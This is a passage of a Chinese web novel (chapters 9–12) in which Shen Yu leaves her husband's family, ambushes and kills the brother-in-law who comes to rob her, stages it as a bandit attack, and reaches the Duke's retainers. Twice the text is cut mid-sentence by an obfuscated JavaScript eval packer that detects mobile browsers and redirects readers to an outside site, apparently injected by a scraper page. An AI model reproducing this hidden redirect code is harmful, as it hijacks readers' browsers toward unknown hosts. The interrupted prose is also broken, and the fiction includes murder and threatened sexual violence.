柳明远因着章茂芝功课好而对他有几分喜爱，这才轻信了他的话。谁想这竟是个道貌岸然人面兽心之徒，真是越想越让人恼火。 沈钰摇了摇头：“一个读书人家，却做出典妻之事，咱们正常人怎会想的到呢?一时被蒙蔽了也是正常，怨不得先生，我不也同样未曾察觉。” 她说着深吸一口气，将心情平复下来：“我与章家虽是因利而合，却从不曾亏欠他们。既然如今他们背信弃义，意图以我换取章家仕途，那就别怪我不顾章家死活了。” “柳先生，”她转头看向柳明远，沉声道，“即刻起，将我当初带来章家的一应财物盘点清楚，除田庄铺面这些恒产之外，所有不便带走的东西一律折为现银。” “章茂芝曾与我说他三月初才去岳鸣书院，料想在这之前章家不敢跟我撕破脸。只要在此之前把事情办好就行，动静小些，莫要让他们察觉了。” “好，”柳明远一口应下，“镇国公那边虽然没有将此事对外宣扬，但也没有刻意隐瞒，显然是想把一切都放到明面上，不愿落个强抢人妻的罪名。” “章家为了自己的名声，也为了不给国公府添乱，已派人去了京城，想让蒋氏代您答应和离。这样将来即便有人提起，章家也能撇清关系。” “待回头拿到了和离书，咱们便离开沛城换个地方落脚。至于国公府那边，他们爱让谁去让谁去，总之跟小姐没关系!” “我倒要看看，到时候他们既没了小姐的嫁妆维持家用，又没能完成国公府交代的事，该如何应对?” 柳明远说着就要起身告辞安排下去，却听沈钰道：“先生且慢。” 他动作一顿：“小姐还有什么吩咐?” 沈钰指尖在桌案上轻点，沉吟片刻道：“先生顺便帮我打听打听，那卫渊是个什么样的人?” 柳明远一怔，旋即大惊：“小姐打听这个作甚?您……您难道真要去国公府?” 秋婵也在旁瞪圆了眼：“小姐，那国公府摆明了只肯让您做妾，万不能去啊!” 沈钰看着窗外日光，目光深远：“我一直想要回京，原本以为少说三五年后才能成行，这次……或许是个机会。” “这算什么机会!” 柳明远急道。 “您是营州沈氏出身，生母更是秦夫人。镇国公再怎么权倾天下，也不值得您去给他做妾啊。” 沈钰收回目光，平静地看着一脸焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062977|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急的柳明远：“先生觉得，我与章家和离后该去哪里呢?” 柳明远一噎，一时没接上话。 沈钰继续道：“我家在京城，祖籍在营州，离开沛城后无非是这两个去处。” “父亲在世时便与营州那边不和，我与他们的关系也不睦。除非万不得已，我是决不想回去的。” “京城是我的家，是我从小长大的地方，但那里如今有个蒋氏。我虽不拿她当母亲，可她到底是父亲的续弦，礼法上压我一头。” “我倒是有心立个女户买处宅子自居，奈何律法对此要求严苛，需得是无父无子且族中无男丁者方可。除此之外只有无子的寡妇可以，还得是为夫守节才行，否则一应家财均需交由宗族管理。” “且不说沈家称得上枝繁叶茂，我的堂叔伯堂兄弟们比比皆是。就说京城那边，蒋氏膝下还有个沈泽，如今也十几岁了，她会答应我搬出去立女户吗?” 柳明远语塞，完全答不上话。 他为官多年，对大周律法很是清楚，朝廷对立女户的要求确实十分严格。虽然如今改朝换代，律法将来有重修的可能，但为了稳定朝局，如今大面上依旧延续的前朝律例。即便要改，肯定也是先从徭役赋税农桑水利改起。等改到女户，都不知何年何月了。 秋婵见柳先生劝不住，急道：“那……那咱们就隐姓埋名，让他们再也找不见咱们!” “我有名有姓，有家有业，却要因为他们从此有家不能回，还得隐姓埋名四处躲藏。这比回营州还不如，实为下下策。” 沈钰道。 “可是镇国公那边……”柳明远一脸难色，“若是正妻，我便不拦着您了。可那到底是个妾室，太委屈小姐了。” 沈钰却不以为意：“先生看到的是妻妾之分，故而觉得委屈。我看到的是京城，是镇国公府，是我想要且能得到的，亦是眼下最合适的选择。就如我当初嫁来章家一般，不过是审时度势伺机而为。只要最终得到的是自己想要的，就没什么委屈的。” 柳明远知道她说的有理，但还是不忍她纡尊降贵给人做妾，试探着道：“不若跟蒋氏那边商量商量，拿些财帛给她，让她如三年前般准您自行择婿?” 沈钰失笑：“先生不知，三年前她肯答应是因为我派人抓了沈泽，以此作为要挟。如今有了前车之鉴，她定会万般小心，不会再让我轻易得手。” “我若就这么回去，她定会赶紧找个人把我嫁了，然后打发仨瓜俩枣作为嫁妆，将我其余的财物据为己有。” “至于给我相看的夫家，”她嗤笑一声，“蒋氏恨我入骨，若非不能，怕是有心将我卖去青楼做个娼妓。她给我选的人家，定是那鳏夫赌徒一类，绝不会比给镇国公做妾强。” 柳明远知道蒋氏此人狭隘自私，一向与沈钰不和，却不知当初还有这种内情，一时沉默下去。 沈钰笑着安慰：“先生也别急，先帮我打听打听那卫渊的人品性情如何。倘若是个穷凶极恶暴戾恣睢之人，我便另想法子。毕竟我只是想要回京，不是想去受苦的。” 柳明远并没有被这句话安慰到，见她虽然言语温和但态度坚决，无奈之下只得答应了。 9.反杀 卫渊曾率赤焰军在青州驻扎，虽未来过沛城，但要打听他的事也不难。 民间传言此人威猛雄武骁勇善战，眼如铜铃额有尺宽，鼻中喷火口含獠牙，两条胳膊如同梁柱一般粗壮，身形更是伟岸，宛如怒目金刚，令人望而生畏。有自称亲眼见过他与敌军对阵的百姓说，国公爷往阵前一站，对着敌军高喝一声“退”，敌军便若浪潮般屁滚尿流地退走了。 这般言论必有夸大，柳明远自是不会全信。但卫渊确实战功彪炳治军严整，所到之处对百姓秋毫无犯，力所能及时还会救济受到战乱波及的百姓。 最终柳明远得出结论：人或许是个好人，但长得很丑。 他想以此劝退沈钰，谁想沈钰还没开口，秋婵先呸了一声：“真是个好人怎会明知他人已嫁为人妻，还要以官职收买将人强逼为妾?我看他跟那章家人也没什么区别，不过是官职更高，权势更大罢了。” 沈钰对此不以为意：“是不是好人且另说，但战功是真，便说明此人确有真才实干。治军严整救济百姓，无论是出于真心还是出于旁的什么目的，说明他看重名声。看重名声的人大多都要脸，只要不把他逼急了，想来是不会为难我一个小女子的。” 秋婵在旁撇嘴：“章家也看重名声，却不怎么要脸。” 沈钰被噎了一下，竟无言以对，半晌才无奈笑道：“最差不过是隐姓埋名浪迹江湖，倒也不必担心那么多。” 倘若卫渊靠谱，她就能在京城留下。倘若他不靠谱，届时再走不迟。 柳明远想说浪迹江湖确实没什么不好，当年秦夫人便是如此，逍遥洒脱轻松自在，无拘无束纵情于山水之间。但他又想起秦昉当年虽游历四方，却是有名有姓光明正大，只在碍于名声过于响亮不想被人打扰的时候才隐匿过姓名。 现下让小姐因为蒋氏和沈家而隐姓埋名，确实太委屈她了。 他既不能昧着良心劝沈钰现在就去浪迹江湖，也不觉得镇国公府就是个好去处，最后只得蔫头耷脑地听从她的安排。 ………… 一切如沈钰所料那般，章家让蒋氏代她做主同意了和离，软硬兼施逼她自行离开。 沈钰顺势逼迫他们归还所有嫁妆，故作哀怨实则欢欢喜喜地离开了章家。 沛城到望乡亭大约有七八日的路程，沈钰出城走到第三日时，马车在一阵颠簸后发出一阵奇怪的声响。 车夫忙停了车下来查看，围着车绕了一圈，仔仔细细看过之后为难地对车中人道：“小姐，车辕不知为何裂了个口子，得停下来修一修才行，不然若是途中突然崩断，车厢怕是要翻过去，伤了您就不好了。” 秋婵掀开帘子看了一眼，见那车辕上果然好大一个豁口，转头询问沈钰的意思。 沈钰看了看外面天色，问：“大概多久能修好?” “很快的。”车夫回道，“这半路上没有合适的木料更换，只能先用绳索绑紧凑合一下，待赶到前头城镇在专门请人来修。不过绳索到底不牢靠，为防出现意外，接下来只能慢些走了。” 因着这个缘故，沈钰一行人接下来的速度果然慢了很多，入夜时未能按照预期那般抵达下一处落脚点，只得临时在一处山坳中停了下来。 好在车上带了帐篷，在山坳空地间把帐篷搭起来，四下点上火把，倒也不必担心野兽侵袭。 沈钰的马车宽敞舒适，她便没有下车，与秋婵一起歇在了车上。 ………… 夜半时分，万籁俱寂，山间虫鸣都歇止了，不知何处却忽然响起簌簌之声。 一行人弓着腰从山上摸了下来，个个身穿黑衣面覆黑巾，手中还拿着刀。 大部分人都直奔装着嫁妆的几辆马车而去，唯有一人带着两个随从往沈钰的车架去了。 面巾遮挡下，章若荃满脸兴奋，两只眼睛闪着簇簇火光，恶意几乎要从中溢出来。 他从沈钰出城时便一路尾随，因怕牵扯到章家，没敢在离沛城太近的地方动手，一路跟到了这里。 再往前走半日便是清河湾，那里是个饮马的好地方。沈钰一行人接连赶路，人困马乏，经过那里时定会停下歇脚，届时便是他动手的好时机。 谁知今日沈钰的马车出了问题，一路减速慢行，最后竟不得已歇在了这野地之中。 这山坳前不着村后不着店，半夜除了横穿山谷的风什么都没有。此时出手既能打他们一个措手不及，又能从容退走，当真是天赐良机。 于是章若荃让人去抢那几车嫁妆，自己则奔着沈钰的马车去了。 他这个嫂嫂生得天姿国色，见第一面时他便怦然心动，欲一亲芳泽。但这是二哥的妻子，他不敢用强，便着意暗中试探一番，看能否两厢情愿暗度陈仓。 若是成了，他既能得一美人，今后又能有用不尽的银钱，岂不美哉?即便不成，最多也就是这位嫂嫂恼了他，今后不愿再与他来往。 左右她是个女子，心中羞臊，不敢将这种事往外说，对他而言也没什么损失。 但章若荃没想到的是，这嫂子竟是个烈性的。他不过言语调戏几句，试着想摸摸她的小手，她便一脚将他踹进了池塘里。 他不记得自己那日喝了多少掺着泥沙的污水，只记得直到他扑腾不动眼见就要沉底了，沈钰才高声呼救引来了下人。待下人将他救起后，她还做出一副关心的模样，问他怎么不小心跌进水里了?好像刚才那一脚不是她踹的。 章若荃自知理亏，不敢说出实情，最后只能自认倒霉，从此再不敢招惹沈钰。但这件事他记在了心里，一直想找个机会报复回去。 这次章沈两家和离，他便主动提出为父亲分忧，来劫掠被沈钰带走的嫁妆。 若是可以，他其实有心将沈钰也带走，关起来好生凌虐一番。奈何这是镇国公要的人，他不敢动。 但沈钰身边那个叫秋婵的丫鬟亦是个美人坯子，不若这次借机撸了去，既能得一美婢，又能在她身上发泄一番对沈钰的恨意。反正镇国公要的只是那姓沈的，这丫鬟丢就丢了，无关紧要。 眼见离马车越来越近，章若荃心中亦是越来越兴奋，仿若已亲眼见到了沈钰惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066689|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌失措的神情，以及那美婢伏在自己身下哀哀求饶的样子。 他一路冲下山坡，听着风声嗖嗖地从耳边呼啸而过，一声又一声，间或夹杂着几声惨叫。 惨叫? 是他的人跟沈钰的随从打起来了吗?可是为何没有听到兵器碰撞声? 章若荃心中才闪过这个念头，又是嗖嗖两声过后，跟在他身边的两人应声倒地，挣扎几下痛呼两声后便没了声息。 章若荃一怔，这才反应过来，这压根不是什么风声，而是弓箭的声音! 怎么会有弓箭?! 他惊恐地瞪大了双眼，脚步猛地停下，但因为刚才前冲的势头太猛，一时没能刹住，踉跄着向前跌去。 这个动作救了他一命，原本射向他心口的箭矢插在了他的肩头。 章若荃前扑的姿势因这一箭而偏了偏，斜着翻倒在地上，发出一阵杀猪般的惨嚎。 片刻后有脚步声靠近，有人走到他身边，将他脸上的面巾一把扯了下来，露出真容。 看清他的面容之后，那人愣了愣，转身走回车边对里面的人低声说了句什么。 车帘被一只素手掀开，露出坐在其中的身影。 沈钰端坐车上，满头珠翠，装束严整，哪有半点睡梦中被人惊醒的样子。 她看着在地上惨叫不止的章若荃，红润的唇角勾了勾，眼中颇有些惊喜：“竟是你这小畜生。原还想着就这么离开章家，有些便宜你了。不想你竟自己送上了门，当真是意外之喜。” 章若荃便是个傻子，此时也知道自己是反被埋伏了。他捂着肩膀满脸惊惧地看着沈钰：“你……你知道我们要来劫你的嫁妆?” 沈钰眉眼含笑，声音轻快：“那日清点嫁妆时，我要求章家各房要么将田产铺面归还给我，要么按照现在的市价折算了银两给我。” “其余各房怕手头银钱若都给了我，自己回头周转不过来，多多少少还了我一些。唯有你们二房，宁可全都折了现银给我，也要将这些恒产全部留下。” “我帮着你娘打理中馈三年，即便各房自己的私账不会交给我，你们手头有多少银子我心里还是有数的。” “以二房的家底，绝不可能供得起那么多田产铺面。章春林和黄氏不可能不知道这点。” “明知如此，他们还是选择将这些产业留下，可见是有后手，觉得很快就能将银子补齐，不会影响了后面的生意。” “可他们要去哪弄那么多银子呢……” 沈钰说着看了看自己那几车嫁妆，又看向躺在地上的章若荃：“想来最便捷的法子，就是将我的嫁妆抢回去了。” 所以她早有准备，明面上看着只有从章家出来时带的那十几个人，实际上暗中派了好手跟着。一旦章家人动手，就能杀他们个措手不及。 今日车辕损坏，路上放慢速度，还有现在这处山坳，自然也都是安排好的，只等瓮中捉鳖。 她唯一没想到的是，章若荃竟亲自来了。 这可真是叫她捉到了一只好鳖，能让章家痛上一痛了。 10.抵达 章若荃听了这番话，心中很是恼怒。他自以为算计了沈钰，没想到却是被沈钰算计了。 但随着把事情了解清楚，他反倒安心许多，梗着脖子道：“今日我没得手，你也没什么损失。我现在就走，你就当这件事从未发生过。不然……” 他说着看了眼四下黑黢黢的山野，道：“老太爷也派人跟着呢，这边的动静肯定已经被察觉了。你若再敢伤我，他定不会饶了你!” 沈钰闻言笑出了声，饶有兴致地问他：“你也知道他派人跟着呢?那现在咱们都说了这么半晌的话了，他们怎么还不现身?这么亮的火把照在你脸上，他们便是离得远也该看清你是谁了，怎的还不来帮你呢?” 章若荃一怔，旋即悚然，吞咽一声，不可置信地道：“你……你把他们也杀了?” “我本不想动手的，”沈钰幽幽道，“你若不添乱，我顺顺利利地到了望乡亭，咱们相安无事各自安好。可你们贪心不足，以我换取了好处不说，还持刀而来，意图伤人夺财。” “既然如此，那就只好请你们去死了。” 这个“你们”自然也包括章老太爷的人，不然让他们回去传信，将她有意设伏杀人的事说出去，后续岂不麻烦? 章若荃以为这处山坳是自己动手的好地方，殊不知这里是沈钰专程派人提前踩了点的。 前面的清河湾固然很好，但万一有人正好经过也在那里停马歇脚，会被无辜牵扯进来不说，还会发现她反杀章家的计谋。 为了少些麻烦，沈钰这才借口马车损坏放慢了速度，故意停在了这处荒僻无人的山坳。 章若荃想通其中关窍，猛地打了个哆嗦，坐在地上两腿蹬着地面往后退去：“不，你不能杀我……你不能杀我!” 沈钰抿唇轻笑，一副善解人意的样子：“这样吧，给你个机会。” 她说着指了指一旁随从手中的弓箭：“这弓箭是自制的，简单粗陋，射程不远。我数到十，倘若你能逃到射程之外，我便放了你，如何?” 章若荃觉得荒谬，欲开口反驳，但不等他多言，沈钰已经红唇轻启，开始数数：“一。” 随着她口中吐出这个“一”字，一旁随从抬起了手，弯弓拉弦。 章若荃大惊失色，顾不得伤口疼痛，本能地撑着身子从地上站了起来，转身拔腿就跑。 “二。” 身后又传来沈钰的声音。她数的不算快，按照这个速度，数到十的时候他没准真能跑出去。 章若荃拼尽全力向前奔跑，听到后面又传来一个声音：“十。” 十?怎么会是十?中间的三四五六七八九呢? 他心中闪过这个念头，还没来得及再想其他，便听得一阵破空声传来，一只箭矢正中他的脖梗，从他喉中穿透而出。 章若荃扑通一声栽倒在地上，口中发出几声艰难的喘息，渐渐不动了。 火光随风摇曳，一个身形高大的男子走到他身边，确定他死透之后回身对沈钰道：“小姐，没有活口了。” 沈钰点了点头，用帕子轻轻掩住口鼻，秀眉轻蹙，一副受到惊吓的样子：“快去报官吧。青州有赤焰军驻守，这条官道不知清剿过多少遍了，竟然还有山匪，真是吓人。” 男子应诺，转身安排下去，待报官的人走了之后，随手从一个章家人的尸体旁捡起一把刀，往自己手臂上划了一下。 其余人也有样学样，做出一副曾与人激战的样子。 ………… 附近城镇均有宵禁的规定，除非是有军情急报，否则夜半时分是不会轻易给人开门的。 沈钰派去的人等到天亮方才入城，将自己一行人遇袭的事说了。 当地衙门听说竟有贼匪在官道附近劫掠，恐是溃逃的乱军聚集作乱，当即带着兵马匆匆赶来。 “这……这怎么……烧成这样了?” 为首的县丞看到那堆被烧得面目全非的尸体，十分惊诧。 一个身上带伤的高个子的男人上前几步，拱手对他说道：“大人，我们昨夜遇袭后恐有其他车马行人夜半经过被路上的尸体绊倒，就将他们都抬到路边聚于一处。” “谁成想夜半时分不知为何又来了几个人，却不是冲着我家主人和车上财物来的，而是来焚烧这些尸体，毁了他们的面目。” “来人虽少，但我们当时已经过一场激战，损耗了不少体力，唯恐主子有什么闪失，便没敢靠近，只远远地放了几只箭。还好那几人似乎只是冲着这些尸体而来，得手后就走了。” “看他们的样子跟这些人应该是同伙，怕我们报官后追查到他们的身份，这才有意毁了这些尸体的面目。” 县丞皱眉点头围着被焚毁的尸体来回看了几遍，口中喃喃：“看焚毁程度，似是临时起意，用夜间引燃火把的火油焚烧的这些尸体。因火油不够，所以只着重烧毁了他们的面部。” 但也因为如此，这些尸体的很多其他特征都还保留着。 “身强体壮，衣饰统一，兵器精良……” 县丞说着又命人将几具身上衣物保存的比较完好的尸身扒了，俯身看了看他们的躯干和手部：“身上没有积年累月的刀剑外伤，手上有茧但并不厚，可见并非山贼马匪或乱军逃兵，看上去倒像是富贵人家的护卫随从。” 县丞说到这松了口气，抬手擦了擦额头的汗。 不是匪寇逃兵就好，不然他和知县大人的日子怕是不好过了，接下来不知要在这条路上来回巡视多少遍才能安心。 “不知你的主家是何人，近来可曾与人结怨?这些人显然是专程冲他而来，不是寻仇便是求财。” “你们车上带的都是什么东西?很贵重吗?带着这些东西要去往何处?都有谁知道你们近日的行程?” 他一叠声问了许多，高个子男人皱了皱眉，面色为难地回头看了眼远处的马车，这才低声道：“不瞒大人，我家小姐乃营州沈氏女，其父曾任督察院佥都御史，三年前嫁来青州章家。近日……近日小姐与夫家和离，正欲归京寻亲，车上带的都是当初出嫁时的嫁妆。小姐她素来与人为 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嗯，看来是这家人得罪了沈小姐，沈小姐休夫了，和离不过是给章家留些面子罢了。 县丞自觉了解到了事情真相，深吸一口气，恭恭敬敬地将名帖等物都递还回去，道：“不知兄弟贵姓?” 男人拱手施了一礼，道声不敢：“免贵姓高，单名一个胜字。” 县丞哦哦两声：“高胜兄弟，劳烦你给沈小姐传个话，请她稍候片刻，待我们现场查探一番，确定是贼人作乱没有其他问题之后，她便可以走了。不过……还请留个人在这录个证词，以供入档存入卷宗。” 除了京城三司衙门，其余官府办案向来是不能轻易传唤官宦及其家眷的，除非是有证词指控。现下这沈小姐是个女眷，且是受害之人，自是不好将她留下过堂。 高胜点头：“我家小姐说了，一切都听大人安排，我们定当配合。” 见他们态度和善，没有丝毫桀骜之气，县丞又松了口气，忙带人去四下查看了。 该处理的痕迹早已处理干净，县丞自然查不出什么，最终得出的结论与高胜所说一致：贼人夜半劫财，被忠心护主的随从们反杀了。 沈钰一行人虽带了兵器，但律法只对甲胄弓弩一类监管严格，刀枪棍棒之类向来是允许配备的。 他们这一队人马要说哪里有问题，唯一能抓一抓的就是那些弓箭了。 但县丞看了看，这些弓箭显然是自制的，简单粗陋，比寻常猎户用的还不如，一看就是为了路上防身临时赶制的。 天下才太平不久，一个女子孤身上路，还带了大量财物，配备些兵器防身实属正常。 于是县丞睁一只眼闭一只眼地放沈钰一行人离开了，为防她在自己辖下再出什么事，还特地派了一队人马护送，坚持要把他们送出青州地界才行。 但最终这一行人也没能把沈钰送出青州，因为走了没几日，他们便抵达了望乡亭，见到了镇国公府的人。 11.问询 望乡亭山脚下有一别院，靠近院墙的位置种了一排紫藤，密密匝匝地从院墙上铺展下来，远远看去宛若一片随风而动的紫色云霞。 一个梳着圆髻的中年妇人带着几个下人候在门口，待沈钰下车后齐齐对她施了一礼。 “奴婢桂芳，是国公爷派来迎小姐的。” 那妇人垂眸说道，语气恭敬姿态谦和，既没有好奇地打量她，也没有露出轻视之意。 沈钰不着痕迹地看了这妇人两眼，点了点头：“有劳桂妈妈了。” 说着便在她的引领下往院中走去。 被县丞派来跟随护卫的一队将士面面相觑，听这妇人口中说什么国公爷，也不知指的是谁，一时不知该不该跟进去。 跟在桂妈妈身侧的一个婢女这时走了过来，伸手递出一张名帖：“沈小姐接下来由国公府护卫，就不劳烦各位了。” 军中将士大多不识字，众人你看看我我看看你，推了个读过几天书的人出来，让他看看上面写的是什么。 那人挠了挠头，接过烫金的帖子看了半晌，断断续续念出几个字：“大夫……金……将军……公……卫……” 大夫?什么大夫?京中哪位厉害的太医被封了国公不成? 众人不明所以，就听那婢女道：“光禄大夫，金吾将军，镇国公，卫渊。” 小兵啊了一声，指着帖子上那个卫字：“对对对，卫将军的大旗上写的就是这个字。” 无需他多说，众人也知道这卫渊是谁。毕竟青州四年前就被赤焰军占领了，至今仍留有他们的驻军，而赤焰军的主将就是卫渊。 身为青州人，尤其是青州的军士们，或许不认得大周的周，但一定认得卫渊的卫。 众人一阵喧闹，又是惊诧又是羡慕，还有几分期盼。 “卫将军在这吗?俺……俺被他的援军救过，能不能见见他给他道个谢?” “怎么可能?卫将军早就去京城了，现在在京城做大官呢，怎么会在这里?” “那……那这上面写的难不成是假的?” “谁敢在青州假扮卫将军行事，疯了吗?这肯定是卫将军的部下。” 为首的小将最有眼力劲儿，见那婢女只是站在那看着他们笑而不语，知道她并不想多说主家的事，忙将探头往院中张望的两个兄弟拉了回来，抱拳道：“有卫将军接应，我们就放心了。那沈小姐接下来就交给各位了，有劳。” 婢女颔首，对这些将士表示了感谢，又命人送来了赏钱，恭恭敬敬地把人送走了。 ………… 沈钰这会儿已经进了院子，见院中铺着青石板路，沿路向前亭台水榭十步一景，显然是精心布置过的，煞是好看。 桂芳一路给沈钰介绍着周围的院落和景致，直到一处名为栖霞苑的地方才停了下来。 “这院中从山上引了温泉水，很是解乏。小姐若是累了可以在这里歇息几日，待您歇好了咱们再启程去京城。” 听这话的意思竟是不急着催她赶路，可以等她歇够了再走。 沈钰一时有些拿不定主意，不知这桂妈妈是有意试探还是真心为之? 她思量片刻，最终顺势应了下来，想着正好借此机会看看这桂妈妈到底是个什么样的人。 此人既是卫渊派来的，她的一言一行就代表了卫渊对她的态度。提前了解清楚，回头到了国公府也能应对的更加自如一些。 沈钰就这么在栖霞院住了下来，好生休息了几日。 与此同时，章家那边则翻了天。 “贼妇戕害我儿，我要让她偿命!” 章春林暴跳如雷，抬脚就要往屋外冲，被章老太爷一声爆喝拦了下来。 “站住!他现在已经到了望乡亭，在镇国公的人手里了，你要如何让她偿命?” 章春林脚步一顿，胸口急剧起伏：“可她杀了我儿……她杀了我儿!” “那又如何?镇国公要的是沈氏，你儿子死不死，他在意吗?你现在去了，他难道就会把沈氏交出来任由你处置?那咱们章家已经到手的好处怎么办?也要退回去吗?” 章老太爷虽也心痛如绞，但还是保持着理智沉声说道。 章春林双目通红，泪流满面：“那难道就这么算了吗?那是荃儿啊!祖父，那是您最疼爱的荃儿啊!” 章春林是章宏光的亲孙，但自从章宏光登上族长之位后，为表敬重，他们一家便也都改口称他为老太爷，甚少再以“祖父”“曾祖父”的称呼唤他了。 章老太爷自然也是心疼章若荃的，但他更心疼自己! 原本一切都安排得妥妥当当，沈氏也确实没耍花招，老老实实地往望乡亭去了。偏偏这父子俩多事，竟背着他偷偷去劫掠沈氏的嫁妆。 若能成事倒也罢了，谁想他们成事不足败事有余，非但没能将事情办好，还将章若权的性命搭了进去。 现下说要报仇，如何报仇?从镇国公手里把人抢回来吗? “你也知道那是荃儿!”章老太爷红着眼睛道，“你怎么就放心让他去做这种事?就没想过万一出了差错该如何应对吗?” 今日官府忽然登门，章老太爷被吓了一跳。听闻沈钰在距清河湾十里的地方遇袭，他的心更是悬了起来，生怕她出了什么事不能顺利抵达望乡亭，耽误了章家与镇国公府的交易。 好在后来官差说贼匪全军覆没，沈钰并没有受伤。只是那群歹人被同伙焚毁了面目，身上又没有其他什么明显特征，他们一时查不出是谁，这才来章家问询一番。想看看沈钰是否曾与人结怨，或是有没有什么与章家相熟的人对她的动向比较了解，知道她近日跟章家和离，带着大量财物出城了。 至于章家，他们还真没怀疑。因为章家曾是沈钰的夫家，若想扣下她的嫁妆有很多办法，实在用不着使这种下下策。只是他们不知道，章家和沈钰之间其实已是水火不容，那些嫁妆是沈钰逼着他们归还的。 章老太爷当时还不清楚章春林父子二人做了什么，因此在面对官差时应对得当，表现的确实是毫不知情的样子，甚至还实实在在地为沈钰没有出事而松了口气。 但等官差走后，他却越想越觉得不对劲。 为何自己派去的人迟迟不见回来?清河湾距沛城不过三四天的行程，快马一两日就到了。当地衙门的人都来了，怎么他的人却不见回来报信? 还有章若荃这几日怎么一直不见踪影?他跑哪去了?章春林说他是跟朋友出城游玩了，但沛城附近就这么大， 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“这样的事若传出去，咱们章家的脸往哪搁?茂荣该如何在官场立足?茂芝又如何在书院读书?还有章家的其他子弟，他们今后的仕途又该如何?” 章春林见他不仅不让自己去报仇认尸，还一口一个茂荣茂芝，满心都是大房的人，顿时气得面色涨红目眦欲裂，跳脚道：“那是我儿子，是我的亲儿子!他死了你竟都不让我去给他收尸?难道要任由他被官府丢到义庄，将来随便找个地方挖坑埋了吗?!” 义庄里的尸体能给卷个席子挖坑埋了都算好的，这些年死的人太多了，义庄本就没人愿意去，后来人手更少，对待尸体的态度也越发随意，很多时候都是直接丢到乱葬岗上，任由野狗撕扯分食。 他辛辛苦苦养了十几年的儿子，难道要看他最后落个曝尸荒野的下场吗? “我难道就愿意如此吗?”章老太爷拄着拐杖吼道，“若非你贪心，不懂取舍，怎会是现在这般情形?你们父子俩做这么大的事却不事先告诉我，不就是想要将这笔钱财独吞?现在出了事你倒怨起我来了，早干什么去了?” 章春林被这几句话吼得语塞，呜咽半晌后抬手狠狠给了自己一个耳光。 都怪他，都怪他贪心又不谨慎，竟将荃儿害到如此地步! 还有沈氏……那个贼妇! 章春林连扇了自己几个耳光，知道事情已不可挽回，擦了一把泪道：“那我偷偷去给他收尸总可以吧?等义庄的人把尸体扔出来后，我把他带回来，这总行吧?” “你若觉得自己定能做得万无一失无人察觉就去，但我劝你最好不要。” 章老太爷道。 “倘若被人发现你给一具无名尸骨收敛，旁人问起你该如何作答?” 这番话看似没有拒绝，实则就是不允。 章春林再也忍不住，嚎啕大哭起来：“祖父，那是您的亲曾孙，您的亲曾孙啊!” “我不止这一个曾孙，章家也不止他一个子弟，而你……也不止这一个儿子。” 章老太爷心痛但态度坚决地说道：“为了章家的前程，为了二房的将来，你仔细想清楚。” 12.婚书 章春林的确不止一个儿子，但嫡子却只有这么一个，其余都是庶出。 他的庶长子其实很聪明，书读得不错，但因不是黄氏亲生，一直被她打压着难以出头。 老太爷的这番话虽不中听，却戳中了他的要害。如今章若荃已经没了，他难道要为这个注定回不来的儿子，把其他几个儿子也搭进去吗? 章春林浑浑噩噩地回到了自己的院子，黄氏正闷在屋里痛哭，见他回来猛地抬起头：“怎么样?那些官差怎么说?去劫掠沈氏的人全都……全都死了吗?有没有活口?荃儿他……他还活着对不对?” 她说到最后已是声音沙哑，只盼着章春林能给她一个好的答复。 劫掠沈钰嫁妆的事章春林父子一开始是瞒着她的，但沈钰离开时坚持要按现在的市价折算那些田产铺面的价值，黄氏不愿拿出那么多现银，想要将这些恒产还她一部分。章春林觉得不划算，这才将自己和儿子的打算告诉了她，让她不必担心将来没有银钱周转。 黄氏知道后便痛快地给了钱，因此她其实是知道章若荃这几日的去向的。 刚才官府的人一来，说打劫沈钰的人全军覆没，还被毁了尸身，她险些当场晕厥过去。 章春林默默地看着她，半晌才道：“没有活口。其中一人二十岁左右，身量五尺七寸，左臂上有条才愈合不久的两寸长的疤痕。” 因为面容被毁，官府无法从相貌上判断那些贼匪的身份，只能从身形骨骼毛发牙齿等推断他们的大致年龄。 章若荃今年十九，前些日子在青楼不慎被一女妓划伤手臂，因怕老太爷训斥便瞒着没说，但作为爹娘的章春林和黄氏是知道的。 年纪，身形，疤痕全都对上了，那尸体除了他还能是谁?况且章若荃若是侥幸逃走了，此刻早该回家了，又怎会至今不见踪影? 黄氏心中最后一点期望也被打破，身子一软瘫坐在脚踏上。 她万念俱灰，只觉周遭一切都渐渐消失了。她看不到房中熟悉的陈设摆件，也听不到章春林的安慰，只是眼泪无意识地往外流，无止无休。 陡然间她又想起什么，瞳孔骤然亮了起来，仿佛燃起一团火。 “沈氏……沈氏那个贱妇!是她害了我儿!我要杀了她给我儿陪葬!我要把她碎尸万段剖心挖胆丢去乱葬岗喂狗!” 她说着便要起身往外走，却被章春林一把拦了下来。 “放开我，放开我!” 她尖声挣扎着，根本分不清此刻拦着自己的是谁，只想冲出去找沈钰算账，杀了她以泄心头之愤。 章春林几乎拉不住她，推搡间一个用力将她推到了地上。 黄氏的头磕在桌角，一阵头晕目眩伴随着尖锐的耳鸣，一时没能爬起来。 好半晌她才扶着桌子抬起头，满脸恨意地看着章春林：“为什么不让我去找沈氏?为什么!” 她的鬓发本就因为刚才一场痛哭而散乱，被章春林这么一番拉扯，更是凌乱不堪。两只眼睛肿得像刚从鱼腹里挖出的新鲜鱼鳔，还染着森森血丝。 章春林看着她这副宛如厉鬼的模样，心中有些嫌恶，愈发不愿与她说话了。 